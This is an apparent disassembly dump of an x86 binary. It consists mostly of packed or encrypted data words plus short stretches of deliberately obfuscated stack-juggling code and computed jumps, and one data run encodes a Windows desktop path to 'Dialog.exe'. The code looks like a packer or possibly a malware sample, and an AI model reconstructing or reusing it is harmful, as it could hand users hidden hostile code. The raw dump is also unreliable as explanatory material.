dd 0B3E709B6h, 2EE4E033h, 0B44F1B3Ah, 0DBE17EB3h, 0B3CF863Ch
dd 3FE88133h, 0B3E7C031h, 3281DE81h, 0D530A8FCh, 4CEC60B2h
dd 0BC620316h, 0BCE70633h, 0F90ED984h, 9AE78133h, 1BCF4DBEh
dd 73CC9C34h, 9DCEAD18h, 0C00E1F9Bh, 0D9E70C33h, 0B00F5333h
dd 93E70333h, 3ABA426Eh, 32E3E45Fh, 0AFE34477h, 0F6E73033h
dd 96DBDB66h, 0F43D97E7h, 5A5D57B0h, 0B3E7033Eh, 16A492FDh
dd 0A5C451D0h, 0AF386060h, 0B3E688FFh, 0B38D1833h, 0B3E4E464h
dd 0ECC70633h, 0CF6E5CF0h, 0F7668517h, 0B3FEC417h, 0E4A06033h
dd 0B02998F0h, 3847CFEAh, 1BF4918Eh, 0B3E2EE34h, 1280333h
dd 0B898AD31h, 1BFDF58Eh, 8B73B34h, 0D7DA1A9Fh, 0D9C31CBAh
dd 0B00F5E33h, 93E70633h, 3ABDC069h, 32E3A567h, 0AEE3E477h
dd 0F1E76033h, 0D77F361h, 16B19C82h, 1CD666ABh, 651FCC88h
dd 675A8E1Bh, 3EE02C67h, 1EBE7CBEh, 0E6C4D834h, 36E44755h
dd 0B44F187Ah, 5A26C318h, 0C1330D31h, 6059CDE6h, 30305BB2h
dd 4513B3E7h, 60BAEE24h, 42B2B7C3h, 5E983C3h, 5358A4F3h
dd 5FDFF680h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 49C35343h, 0AC3008C3h, 75BF6654h, 0FC00BBDh, 6B84h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 8EDCD64h, 0B58D660Ah, 7A84E4Dh, 2A2D8D09h
dd 3B807A8h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 8535C355h, 0C9F65E28h
dd 95891DC5h, 7A814A5h, 8166E6FFh, 6041BECAh, 0D19509F5h
dd 6107A830h, 0E1958940h, 8B07A827h, 0D85EBBC0h, 0BD8310A0h
dd 7A827F9h, 83097500h, 0A80605BDh, 19740007h, 0C08B5350h
dd 403B8h, 0CD858900h, 8D07A80Eh, 0AAB08A9Dh, 5BD3FF07h
dd 5BD8358h, 7A806h, 53501774h, 403B8h, 0CD858900h, 8D07A80Eh
dd 0AAAD2B9Dh, 5BD3FF07h, 0B9BD8B58h, 107A832h, 0A829D985h
dd 0CA8B6607h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 2FF589C3h, 0E86175DFh, 10h, 4886E18h
dd 0AE2CC30Dh, 497369D3h, 6A41E9EFh, 8B58DE8Bh, 0A8212DBDh
dd 0C4C08107h, 0F00005Ah, 6EBEDEBFh, 817D83D8h, 83CEE8F6h
dd 9589607Dh, 7A83331h, 1D618529h, 8B6107A8h, 0C1D38110h
dd 811FD4ACh, 0DE4AFF2h, 0A8BF6637h, 17EA81C0h, 8B5466F1h
dd 0A828218Dh, 70F28107h, 66500E6Eh, 0F52D88Bh, 8FFEBFh
dd 4D92EF81h, 0E88337A3h, 8D9D8B04h, 8107A80Bh, 1EEh, 19850F00h
dd 81000000h, 0BD78C2F1h, 22E903h, 291F0000h, 1426F0AFh
dd 0FD63FF19h, 1B2B0FD5h, 0FBFFBB66h, 0FFFF96E9h, 0B2BB80FFh
dd 28758B56h, 0C9D18EEEh, 0E6A4746Ch, 8D43B155h, 0FFF1A9DBh
dd 58D3ACBh, 39F96CFh, 8CAC1260h, 68D10D5h, 2BF4AF9Bh
dd 0E2515A4h, 1252B82h, 56257803h, 1251169h, 0C27A32C0h
dd 25599B3Fh, 25619334h, 125071Ch, 0C272550Ch, 0B4AEBB20h
dd 68D2642h, 0E400A8E7h, 1276929h, 5AF1D60h, 67251230h
dd 0EE71EA2h, 0E8B5E3B3h, 1251215h, 314D648Eh, 0EF1E994Dh
dd 0D03003BFh, 7754E946h, 51157134h, 91D6997Eh, 0E9761266h
dd 1251205h, 5AE64923h, 5014E08h, 5015641h, 1251278h, 55E64173h
dd 44F5FB34h, 0FB2BA0B7h, 131FB55h, 0CEB91203h, 947CC1DFh
dd 744879DAh, 4748F03Ah, 0BDE12C2Ah, 2A7CBEh, 0E9DB3640h
dd 125120Dh, 0C73EAC19h, 63CB66DEh, 2842302Ah, 0A90883E5h
dd 6B7D4D37h, 2CD4218h, 2125120Ch, 887DD15Eh, 80213647h
dd 1A2136C5h, 412512C0h, 6CAD130h, 0DBE4B449h, 0C1A672DDh
dd 24909B20h, 8A22BA06h, 5125780Bh, 1251169h, 0C27D32C0h
dd 25619B38h, 25619334h, 125061Ch, 0C275520Ch, 3A11D72h
dd 0B7251203h, 49AE74DCh, 5725783Ch, 1251188h, 0C27B3230h
dd 25519B46h, 25619308h, 1250602h, 0C2735403h, 9CAC72D6h
dd 68D1271h, 0C08BAB06h, 12FFA51h, 0D3441218h, 0D086DE64h
dd 7C455602h, 80434CFBh, 0EDA24B8h, 125E444h, 6D29360h
dd 285A2BA8h, 0A90C1FADh, 8E4910Bh, 0F6CAF2Fh, 38A515ABh
dd 3CA01D68h, 6B2512C1h, 2CD4760h, 21251230h, 8878D145h
dd 80213660h, 1A213642h, 44251203h, 72FBD1D4h, 2DD3A9F4h
dd 40AE7DF3h, 1CA41D31h, 0E9251218h, 125121Dh, 0F522D691h
dd 0B96E9162h, 111F8E2Dh, 34337F72h, 1AF1D8Ch, 5F251230h
dd 20088F31h, 0C92615A4h, 0E974126Ch, 1251200h, 58E64BA1h
dd 5015E49h, 50156E1h, 125122Dh, 2AE64359h, 0B56CA42Bh
dd 1040FA5Eh, 4E49100h, 0E97412EBh, 12512C3h, 58E64B40h
dd 5015EB9h, 5015699h, 125121Bh, 0E4E64347h, 0E84320Ah
dd 125140Bh, 0C0A81BC0h, 8022BA64h, 426E8209h, 8CA01D93h
dd 6B25120Ch, 2CD4306h, 21251203h, 887CD1D8h, 8021368Ch
dd 1B213624h, 40251230h, 4735D149h, 4187168Bh, 0E49099BAh
dd 8C22BA0Fh, 0A96B5F0Ch, 542578C7h, 1251188h, 0C2783230h
dd 25499B45h, 25619308h, 1250A02h, 0C2705703h, 6E58C54Dh
dd 0D99A1D2Ch, 12511D8h, 56257830h, 12511F0h, 0C27A320Ch
dd 25599B59h, 25619307h, 1250985h, 0C27255C0h, 15932A27h
dd 0E2546C59h, 15CC8F31h, 0E0DA15A4h, 644A78Fh
dd 0BC0615ABh, 68D0A9Ch, 532578A1h, 1251188h, 0C27F3230h
dd 25719B42h, 25619308h, 1250902h, 0C2775003h, 81CA3846h
dd 5A7C736Ah, 5A92AFEDh, 8CA8159Dh, 6884CDFh, 93A666B4h
dd 34A02107h, 2A22BA37h, 3CCD34Eh, 0E6A4746Ch, 8D43B155h
dd 0FFF1A9DBh, 58D3ACBh, 39F96CFh, 8CAC1260h, 0F305E983h
dd 81C08BA4h, 481B7CD7h, 0CE94Eh, 8B490000h, 8452F3A6h
dd 0E6578DB9h, 66604E6Eh, 8D0FD08Bh, 6, 2D898D29h, 8B6107A8h
dd 0CE8C3h, 42220000h, 45BBF923h, 1F3FABB5h, 58FC8C9Fh
dd 0AE5B58Bh, 0C08107A8h, 5A32h, 33A1958Bh, 5F6807A8h
dd 56000016h, 138B0Fh, 0EE90000h, 35000000h, 0E5A2B325h
dd 3AEE7C74h, 9E457A1Ah, 8B5B5F60h, 0A82CC5B5h, 89088B07h
dd 0A8349D95h, 3FF18107h, 81657BFFh, 731781E9h, 6E870h
dd 65B10000h, 0C342690h, 25F19D89h, 815F07A8h, 719589C1h
dd 89D78B7Ch, 54DE8108h, 833EA5B2h, 8B6602E8h, 0F94848FAh
dd 10850F4Bh, 29000000h, 0A8136D9Dh, 22E907h, 3F370000h
dd 81BF3F0Bh, 73427FD6h, 0FF9FE920h, 516FFFFh, 6F3F3B1Ah
dd 0E8AF35Eh, 13852E07h, 6D3FC9C0h, 60ED8D8Dh, 6A07ADh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 0D5459BC3h, 0C0B70F67h, 17318D89h, 6A07A8h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 196666C3h, 0F1816049h, 79EEEB11h, 61858956h, 5807A807h
dd 0F1B70F61h, 0A5985C7h, 6AAC07A8h, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 9266E1C3h
dd 0F93BCC40h, 459D89E3h, 0F07A81Eh, 684h, 1D850300h, 0C707A827h
dd 0A8093985h, 7, 6E900h, 0AAA40000h, 92CB96FDh, 0AFDB5FFh
dd 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 9FDC26C3h, 14547AA3h, 8B603E67h, 0A824A99Dh
dd 6161B507h, 1A9995FFh, 6A07A8h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 782F58C3h, 9F184229h
dd 918501CFh, 6A07A82Dh, 2195FF00h, 8B07A80Dh, 0AB28EBC0h
dd 123A3627h, 0D770E89Dh, 0AAEDA701h, 0DB86672Ch, 38EBC944h
dd 72A2F9Ah, 0CD6D934Ah, 0BC68A25Ch, 1D3D3CEAh, 8D1EC628h
dd 0A80E7D9Dh, 0CEB807h, 85890000h, 7A830E1h, 0E8h, 0D055800h
dd 89000000h, 0CEE903h, 0
dd 32h dup(76F2h), 0FFFF76F2h, 12E8h, 0BFD2AE00h, 0F9B5030Ah
dd 752DBA95h, 10F14B1Ah, 0FAADC63h, 0F85h, 0AE900h, 0B0090000h
dd 0C5AA3CE9h, 0CF24D5B0h, 11E958h, 0E9850000h, 0BF7CB3FFh
dd 6DDF1734h, 7C29FA61h, 8149E44Dh, 5F12C0h, 128D0F00h
dd 60000000h, 1364B866h, 6E8h, 3DE78200h, 5ADB99C6h, 0BA61h
dd 0EB8A0000h, 5E0234FFh, 4137EE81h, 8D0F30B1h, 4, 3158B966h
dd 2A54F681h, 0E3803DF5h, 93C6819Ch, 8139AD26h, 13EF4CC1h
dd 0D88B5626h, 6610048Fh, 0EA83CE8Bh, 29CD8004h, 0A1C8FA81h
dd 850FFFFFh, 24h, 7E9h, 3974D000h, 11F616ECh, 26E9h, 0C378F900h
dd 6220369h, 0D01088FAh, 6729C7C2h, 0AEEA463Dh, 0E9DF8B66h
dd 0FFFFFF90h, 53B661D1h, 0CE17DDA0h, 0E9DCC150h, 9Bh
dd 346DFF66h, 445C3A43h, 6D75636Fh, 73746E65h, 646E6120h
dd 74655320h, 676E6974h, 614D5C73h, 6D697472h, 72614320h
dd 656E6F62h, 7365445Ch, 706F746Bh, 6169445Ch, 2E676F6Ch
dd 657865h, 16h dup(0)
dd 0E9000000h, 0E9Eh, 0AD653268h, 0E63FE907h, 2A68FFFBh
dd 0E907AD66h, 0FFFBE635h, 0AD67AC68h, 0E62BE907h, 0EB68FFFBh
dd 0E907AD67h, 0FFFBE621h, 0AD68B868h, 0E617E907h, 5E68FFFBh
dd 0E907AD69h, 0FFFBE60Dh, 0AD6CE868h, 0E603E907h, 0BA68FFFBh
dd 0E907AD6Fh, 0FFFBE5F9h, 0AD70BC68h, 0E5EFE907h, 0F9E8FFFBh
dd 0DBD101Fh, 2197EAF9h, 7673C6D5h, 9C4A9DACh, 0B1327382h
dd 0B9C85290h, 91A07666h, 6A798F3Eh, 4554A617h, 0E3BF2809h
dd 0C77A12A5h, 0AA1E352Ch, 799A6A5Ch, 12E4D566h, 0D05A9320h
dd 0C45E8CA3h, 0F9A75EA3h, 566B85B2h, 0D665FBDFh, 3D3072DBh
dd 0FA7A7266h, 0D13A9DBEh, 7A0E65C6h, 7D5C4ECEh, 6ABE1521h
dd 545D6D87h, 0E6CF6524h, 2A30h, 2F71E900h, 0C5DE4774h
dd 0E77A0D48h, 8967567h, 0A06ABD3Ch, 3D6D3486h, 23E6D042h
dd 48336FD8h, 0F7776ABDh, 0E299D6h, 0A1520000h, 0A5C6508Ah
dd 0C1B34576h, 564CB500h, 75726542h, 0F0C0B244h, 63556D6h
dd 0BF4C3ED8h, 77833F0Eh, 3D88493Bh, 1661B726h, 7265428Ch
dd 4E7D9E1Eh, 475E8B9Dh, 0BD8D7F9Bh, 0BBB2579Ch, 72726547h
dd 991CF258h, 43750FCBh, 0B5F1C1B3h, 0E5746594h, 0D8E723F3h
dd 0D0C25485h, 30CAF80Fh, 0BA4D6E3Eh, 258EBBE6h, 7A0CA1FEh
dd 681F2EAEh, 2D447138h, 0A67668BEh, 0C0D72285h, 3A0AFC0Eh
dd 7299819h, 82BF7267h, 0FACABC4Ah, 0DD4691BEh, 6311A6C5h
dd 0E14465E5h, 0F3021CCAh, 0C2D822A0h, 2DB8832Bh, 598762FAh
dd 0A300000Ch, 78CBDA24h, 52A5B446h, 2E81909Eh, 55867B1h
dd 0ED2E3DD9h, 85914DF6h, 5DA92376h, 36C0FB4Eh, 111BD427h
dd 7CE5C602h, 7A12A726h, 0D542E984h, 0ABFE0DE9h, 0A2D9E832h
dd 47742F71h, 23F3E5FCh, 0BF406131h, 7A0D48E4h, 955648C8h
dd 0D140347Bh, 96B7BC5Ah, 0BCDF8915h, 0B5051F6Ah, 0D09EBCECh
dd 0CAC8E6h, 0D5810000h, 0EAB821E4h, 0C0726542h, 51120440h
dd 1B7823Ah, 0F73303F5h, 0E5143505h, 0D6F01DF9h, 4631AB8Ah
dd 628AAB51h, 654EEA83h, 0B4467772h, 8F9952A5h, 36C2DC9Dh
dd 1756DDF8h, 0A1FF92B3h, 0AF74DD0Ah, 0FD7A0D91h, 0CDE76E7Dh
dd 7ED20D33h, 31C4E520h, 0BC07346Fh, 0A4F0FFA2h, 4B7D46DDh
dd 0BDF9C9BBh, 7A951B9Ch, 0B1317268h, 0BF1F3984h, 7AAC5E75h
dd 0FBBEA0Bh, 125DE4F3h, 1310F9A9h, 1031B163h, 319E5E1h
dd 2DB92872h, 61BE9931h, 0AB00000Bh, 80D3E23Ch, 5AADBC4Eh
dd 36899866h, 0D606F89h, 0F53645D1h, 8D6955EEh, 65B12B7Eh
dd 3EC80356h, 19E3DC2Fh, 84EDCE0Ah, 7A12A81Eh, 0D54AF18Ch
dd 0ABFE0DE9h, 0A2D9E832h, 2012E4D5h, 0F7AB145Fh, 0B3726541h
dd 0EAE31233h, 738A1120h, 29F3F079h, 716EFBEDh, 0B74A6BA7h
dd 2C95C2E9h, 7A0D4A3Fh, 0AC8B7DFDh, 6ABD39F2h, 830E9CB6h
dd 0E6D04453h, 75Fh, 0D4871800h, 0C0000007h, 47742F71h
dd 7B6DBF30h, 0BE278AABh, 7A0D5EC5h, 0A83527A7h, 40A9F437h
dd 6ABD2762h, 257DC848h, 856ABD27h, 33BAC905h, 27237FE8h
dd 7876ABDh, 2A4BDD0Eh, 4638C2FBh, 14A6167h, 6842DAD2h
dd 8C9B6D5Eh, 84768039h, 7903FAA5h, 0FA459E03h, 79041191h
dd 0C2599903h, 16305F27h, 3030518Dh, 89934C9Ah, 0E0DCF37Ah
dd 33542416h, 4F41CB04h, 786E2B70h, 69419303h, 8B9A6C5Dh
dd 83758738h, 66930E92h, 2079D2FDh, 0D0081F0Bh, 63845446h
dd 62849313h, 0DA438E77h, 0FBD063C8h, 253FCB03h, 0AFF184A5h
dd 595EC7F4h, 7B037869h, 68BA8FBh, 3FD2393Eh, 0D21D4A61h
dd 177C3969h, 0D0F17116h, 83FF046Dh, 0ED6D1DBFh, 0AB233AFBh
dd 0F5AB3E5Fh, 0F22EF8F1h, 0ED5C5CC5h, 0FA7A161Ah, 736B82CDh
dd 31C38CE7h, 0E31F30C2h, 0D10021F1h, 78FF0E18h, 0AB9D6961h
dd 528BBADBh, 0FEF7B2C8h, 3ED6494Ah, 9DF63h, 60BE2900h
dd 3ACCFE51h, 16E0D82Bh, 0ED37B407h, 0C35F8BDEh, 0CF7073B4h
dd 0A5F80713h, 7DD0DF37h, 56A9B84Eh, 48849365h, 0A9A4FE67h
dd 6B067A12h, 12E4D5C4h, 14E78FFCh, 0A37E16DDh, 9A0h, 1221FFEAh
dd 0ECFB0FBFh, 0C8D72799h, 9FAE4875h, 75849E4Ch, 508EAF34h
dd 6864B7C6h, 813C8F9Eh, 0A4156877h, 26074352h, 12A9E5BDh
dd 832AC57Ah, 6455E4D5h, 76DFA092h, 7265422Ch, 86C2FE7Eh
dd 3FDB0794h, 35C1FB12h, 0D527343h, 0BBE5EEEBh, 5D5AC3F0h
dd 777A0D48h, 46B0CAF7h, 0A841E5CFh, 0E1FE87A8h, 2C79C582h
dd 0BFE34C97h, 0CA8FF12h, 0AA2A44DEh, 0FFAAF689h, 199A69D2h
dd 52D2B0A7h, 1FC30B25h, 0E6153C62h, 0E9E21EF8h, 5F2F21FDh
dd 7B25163Eh, 7894253Fh, 88882931h, 570C653Dh, 89C545A1h
dd 84C5F35Ch, 9111A902h, 0CD9C4D64h, 9DCA0610h, 0C8045786h
dd 4010023Eh, 5687DA1Fh, 0B5E7AEC4h, 26BEFA52h, 8D34Bh
dd 54A21D00h, 2EF8F245h, 0A14CC1Fh, 0E13BA8FBh, 0B7437FD2h
dd 0C37C67A8h, 99ECFB07h, 71C4D323h, 4A9DAC7Ah, 3C788791h
dd 0AAB0F25Bh, 5FFA7A12h, 12E4D5B8h, 0CE589320h, 0AA2138BFh
dd 48BA3B5Ch, 0DF726543h, 0A6BDEAC1h, 22F2E432h, 3C539E01h
dd 0B5857781h, 0A5821394h, 0E4FB7A12h, 9E2E20EAh, 7B0D726Eh
dd 7D9EDA80h, 50E6ED2Dh, 0CAFB6B83h, 0FB6F5CCEh, 5D99603Ch
dd 56A01930h, 74FBF447h, 2BBBAD77h, 4C165E6Fh, 336FAB60h
dd 0EC36B441h, 0A52239FAh, 7899695Bh, 6E849249h, 25461691h
dd 2D01DC74h, 77000008h, 4C9FAE48h, 26798892h, 25564B2h
dd 0D92C3BC5h, 0C10211EDh, 59A52122h, 31C5F74Ah, 0A1CCF22h
dd 0E537A8FBh, 50B99AD6h, 7A12AB52h, 0A116BD58h, 0D0C25C8Ah
dd 3FB0DF00h, 203AFBEDh, 34BCB01Fh, 437293F5h, 0D48E808Ah
dd 0C1FACCDEh, 0FDF30A37h, 0BAAC7674h, 488DAEEAh, 276890C0h
dd 4B99CDFh, 71550000h, 0FC47742Fh, 425A48B1h, 0D0507265h
dd 0C8702BD4h, 5475D716h, 13A0C2D3h, 214ECE7Ah, 3847D10Ah
dd 96881B81h, 254736B7h, 0A4F610E4h, 214C7DEh, 0C4D7DE1h
dd 46596041h, 12000000h, 4B782B71h, 32F3E900h, 6542D9C9h
dd 1551D172h, 1A389323h, 0E3D086DDh, 9D0586A7h, 0FA72663Bh
dd 291BE7E3h, 0ABE83859h, 0B9ABE733h, 0CD9E08DAh, 0BC0E2892h
dd 8EA0C5F5h, 7D1FFh, 878A0000h, 1E0h, 568AA1C0h, 0E506D6C8h
dd 65574A52h, 0D1AE6786h, 0F5C5DFEBh, 94A97CACh, 438858h
dd 71410000h, 0D33C872Bh, 726542CFh, 92105BDBh, 18726542h
dd 182F5C98h, 0A0F795A7h, 16F0B19Eh, 0D091B9DAh, 13861C85h
dd 0A4247266h, 7FCC0283h, 223CEBD2h, 0D2D90988h, 85E55893h
dd 4E000000h, 4F708A37h, 782B713Ch, 42C0E24Bh, 6AEA7265h
dd 61B7263Dh, 85A67068h, 1D390B1Fh, 555C6EF8h, 0DF277C25h
dd 5B31h, 87A1EA00h, 64585DB8h, 47319692h, 0BAE27596h
dd 586FBAE7h, 584A9567h, 5272663Ch, 0E2D0D6D2h, 0B62F5777h
dd 0DBC93295h, 0D37265DCh, 87541253h, 75BCD6D3h, 2A78E190h
dd 80726583h, 23BD0400h, 0A8FF1E1Ah, 8BF02C9Ch, 51506A6Ah
dd 0DF276621h, 72Dh, 187E600h, 0C0000001h, 0B5ED56A1h
dd 0F5726542h, 0A8D75475h, 0C0000000h, 87F03DA9h, 7265421Bh
dd 0B2D30F8Fh, 782B719Fh, 8552A786h, 0BB27C7B5h, 0EFE06D5Fh
dd 4D9F2B1Dh, 0F812267Dh, 0BCC6E0A2h, 0F71F5BF0h, 0C90511C9h
dd 0ED1444A8h, 5B203478h, 0D9000000h, 4B782B71h, 69F0E900h
dd 7466A27Ch, 0A00283A4h, 0A726542h, 5B9988Ah, 0E3928570h
dd 9AB1F1C9h, 10E0D22Ch, 695B8BEFh, 2567FF48h, 20000000h
dd 4B782B71h, 6542C0E2h, 786AEA72h, 0DE28A0B7h, 6F823CBDh
dd 4C66DF85h, 6503337Eh, 70F4C48h, 0C8000000h, 5B87h, 0E4D5C000h
dd 5E412012h, 726542h, 219A2C7Eh, 7191C8D7h, 314B782Bh
dd 2C04635Dh, 0F36A8B25h, 7C795935h, 48B17465h, 7265DF5Ah
dd 0A294D050h, 19B1B1D2h, 0BDE54E99h, 0ED7265DFh, 11CB4C6Dh
dd 0EB7265EDh, 27A888BDh, 6E5B72DFh, 0B1D2A294h, 0FFFF2474h
dd 58872DFFh, 0C0000002h, 2012E4D5h, 0C1D05A93h, 0DE0B960Ah
dd 0C3DF4893h, 0E7726542h, 0D2C54667h, 0C27A0D6Ah, 2D715042h
dd 7B6ABD1Ah, 18484961h, 24E6D060h, 27h, 742F71DDh, 48C5DE47h
dd 0BDD47A0Dh, 3707F90Dh, 5446C616h, 0BD3C2975h, 55657F6Ah
dd 0D0421C4Ch, 0AE28E6h, 0D5E10000h, 92C652E4h, 906C296Dh
dd 0E9D56254h, 0CD5F284Dh, 55916234h, 13E5D663h, 115B9421h
dd 0D5D3622Eh, 0F1003C37h, 65D9214Ch, 7D8F4072h, 0C2E9B76Eh
dd 7D022C95h, 40C07A10h, 35CFFC13h, 0EF527343h, 0B2F059A4h
dd 0F86ABB21h, 21841E87h, 0A6266ABBh, 0AC1A496Ah, 0F2F04352h
dd 21D4CE37h, 56D66ABBh, 3821041Ah, 68002541h, 4A38Dh
dd 24F2ED00h, 0FE08C215h, 0DA249CEFh, 0B14B78CBh, 87934FA2h
dd 93AC3778h, 69BCCB57h, 4194A373h, 1A6D7C8Ah, 0C4857A1h
dd 0AEE0C22Bh, 2FCA7A12h, 50E9D588h, 3E4D8993h, 706BF2EBh
dd 245B6AA6h, 2012E4D5h, 0C1D05A93h, 0DE0B960Ah, 0D4D5A75h
dd 0E34C977Ah, 6ABD37BFh, 304AD40Ch, 0BF3F8FB0h, 37B2EECDh
dd 0F2E86ABDh, 0ABF6AAD8h, 42BA157Eh, 1D377265h, 8628F581h
dd 74C4E5DFh, 0A4089A03h, 22A26314h, 8020D7E6h, 293FC29h
dd 8E6AC207h, 16CAE10Eh, 4985914Bh, 3FD7051Ch, 175C7D4Dh
dd 67413672h, 0DC2AA15Bh, 9C2CCDh, 83650000h, 7265421Bh
dd 0AC585A74h, 0D7B372F7h, 6C7A23B6h, 26F0EA71h, 4C9FAEEAh
dd 125D8A94h, 4133CFFBh, 0D07C2671h, 0AE2E7265h, 1C86658Dh
dd 0AF7265D0h, 6DCF2733h, 6936026Eh, 3CAE3B2Dh, 1A6CF8EAh
dd 74823680h, 0F4C66838h, 0D12597AEh, 0F314E6D8h, 0F3020CC4h
dd 0D564556Ch, 0DFD10DE9h, 4363A64Fh, 0D511DCB4h, 0A293FBD9h
dd 7E9F5C40h, 5D8A9C4Fh, 4F04A543h, 0C797899Dh, 0C4115DCBh
dd 39C7BA3h, 8972658Ah, 14C71FABh, 837F9745h, 367559D0h
dd 4857933Ch, 0E533AAC1h, 0E6D5B1C4h, 2F98E310h, 72654273h
dd 6E96B737h, 2A1CEAE1h, 0C3001770h, 82181839h, 43FDE600h
dd 48A20069h, 88087265h, 0F776908Ch, 0E234A7D6h, 386C2ED3h
dd 0DF0C7266h, 4F59AAC5h, 3C5D4300h, 27A9A3D8h, 0FF1DB3DFh
dd 0A16CFFFFh, 42B5ED56h, 75F57265h, 62B42554h, 59AF1E35h
dd 4A831038h, 541CD03h, 4A613FF6h, 2BBD21Dh, 4156D7F8h
dd 537A0D6Ah, 5E3FB713h, 49853226h, 97C9657h, 6B5EAE0Ah
dd 831B9CBDh, 256ABC98h, 0AEF45DA8h, 0FC6ABC98h, 4F5B5B7Ch
dd 0D0E21242h, 461EE6h, 3C870000h, 0BCA0CFD3h, 36C0FC6Ah
dd 0DA5A7444h, 2F71A6B9h, 0E5FC4774h, 9C6664F5h, 7D9E6E60h
dd 0D48A7FCh, 90A7F27Ah, 2280CB5Dh, 886ABD3Ch, 1797E708h
dd 3C584625h, 36506ABDh, 41ED1D64h, 0E6F9E6D0h, 0B2000000h
dd 0C25C8AA1h, 0B0DF00D0h, 6EFBED3Fh, 27B4A670h, 0E57264B6h
dd 9E7865F4h, 81CC5362h, 65428A18h, 7FA02072h, 65476FFEh
dd 72F9F272h, 0EEBEB07Eh, 0D11CA3B2h, 653D3A68h, 0CFF07072h
dd 0AD202FA0h, 5D99695Bh, 0BE267A6Bh, 76803E0Dh, 3C78B484h
dd 30ADC40Fh, 3D168CF5h, 14947265h, 0F516E6D8h, 0D4BF774h
dd 0B6C5457Ah, 0DD0AA1FFh, 0B9457B92h, 0DF111798h, 34A57267h
dd 127ED7CBh, 1753D363h, 0B17D3EAh, 782A93DEh, 5363127Eh
dd 0C9998B97h, 0C90E2FAFh, 98AE4876h, 2DB9DBABh, 0D117F28Ah
dd 1B000001h, 0F04352ACh, 0CA1D2CFEh, 0A6F90816h, 7DD0DF39h
dd 65A6B541h, 0FD19C57Eh, 0D5219BEEh, 0AE7873C6h, 89934C9Fh
dd 0F45D3E7Ah, 7A12B1AEh, 0D5BA61FCh, 0ABFE0DE9h, 52D9E832h
dd 7A2ED538h, 0A2BB9C4h, 742F71F7h, 48C5DE47h, 67E77A0Dh
dd 3C089675h, 23A06ABDh, 0FE08C1D8h, 0B1F13C0Ch, 0F96ABD3Ch
dd 4F600BCh, 0D7D7F834h, 428EBEC3h, 0DE9AE6D0h, 53000000h
dd 2012E4D5h, 0D9CB5793h, 654773FAh, 2BFDEE72h, 4610C91Ch
dd 686232B8h, 5984A29Eh, 0FCBDAFEBh, 0AA5A48B1h, 0D0507264h
dd 1D841CAFh, 0BB8BA5F0h, 5B005A0Eh, 0AEBD3E5Fh, 8E7A0CC0h
dd 4B96E10Eh, 0BCA3C0E2h, 1F6AEA6Ah, 6ABCA383h, 554DB627h
dd 556ABCA3h, 337899D5h, 507D247Ch, 0A3069C05h, 67A46ABCh
dd 4768A476h, 504E7BE4h, 2AAA7267h, 1EF8E6FDh, 0EB5BD7F1h
dd 3FBEE002h, 5886D91Eh, 0FC11A8BEh, 0F8902DB8h, 0CF1Dh
dd 50AE1900h, 2AFCEE41h, 610C81Bh, 0DD27A4F7h, 0B34F7BCEh
dd 0BF8063A4h, 95E8F703h, 6DC0CF27h, 4699A87Eh, 38748395h
dd 0B2B4EE57h, 5BF67A12h, 1CE9D5B4h, 6542EFB3h, 0FF3BBB72h
dd 3501BBD2h, 50B14114h, 7871ADA7h, 4B90B14Bh, 2635C7F8h
dd 52E4D5EFh, 0D44770A8h, 5E5E7939h, 9B52C7C3h, 0FC897BB7h
dd 0F50C39C3h, 6B3B2DC9h, 524E054Ah, 0D0C12A57h, 0B87A12D3h
dd 0B94638h, 5B94E7F6h, 650DC811h, 7DB9555Ch, 4BB2AC8Bh
dd 1DB59E78h, 7680398Dh, 51DB1467h, 1A15D25Fh, 0F730F1B1h
dd 437CB936h, 0BBF7C7B9h, 9E07527Fh, 36F73004h, 0DD0526A6h
dd 0F3C3D779h, 0CE2130FAh, 3E190B1Dh, 0Ch, 6587A177h, 762004D9h
dd 0C4476687h, 1A0CEAD5h, 0D8CA5C8Dh, 9486904Bh, 4F41D507h
dd 8FA04C2h, 0C1B34F7Bh, 7B6DB734h, 3A2CFAEEh, 0F7E93DADh
db 79h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push 3E86h
mov [esp], ebp
push 942h
mov [esp], edx
push ebx
push eax
mov eax, 82069FEh
mov ebx, eax
pop eax
inc ebx
shr ebx, 6
add ebx, 78CE246h
mov ebp, ebx
pop ebx
push 36CDh
mov [esp], esp
add dword ptr [esp], 4
pop edx
push esi
mov esi, ebp
mov [edx+8], esi
mov esi, [esp]
add esp, 4
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_595E45
; ---------------------------------------------------------------------------
mov bl, 0B8h
mov al, 71h
lodsd
pop es
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0C5h
dd 0F829561Ah, 0F171D290h, 74469D0h, 5B7DFB6Bh, 666140B5h
dd 0A432AA0Ch, 91646E0Fh, 0FE1C2C34h, 0BF5642B2h, 861CC8CCh
dd 0E32AC390h, 686D4DE8h, 7744A86Ah, 0CC11FD06h, 2043DBF2h
dd 0A57D13Dh, 0E1D4A93h, 87506019h, 1C4BA024h, 0D4117972h
dd 302063D9h, 1840F405h, 0DD2B12D1h, 0DF348C5Ch, 1306816Fh
dd 82199E65h, 8D2ABF10h, 0AD73308Dh, 1DB58907h, 8907A806h
dd 0A817318Dh, 0CB816607h, 85C7EAC4h, 7A80A59h, 6F80h
dd 24198529h, 85C707A8h, 7A80939h, 0
; ---------------------------------------------------------------------------
call sub_5D874C
add al, 0AFh
and eax, 0BA878C65h
; =============== S U B R O U T I N E =======================================
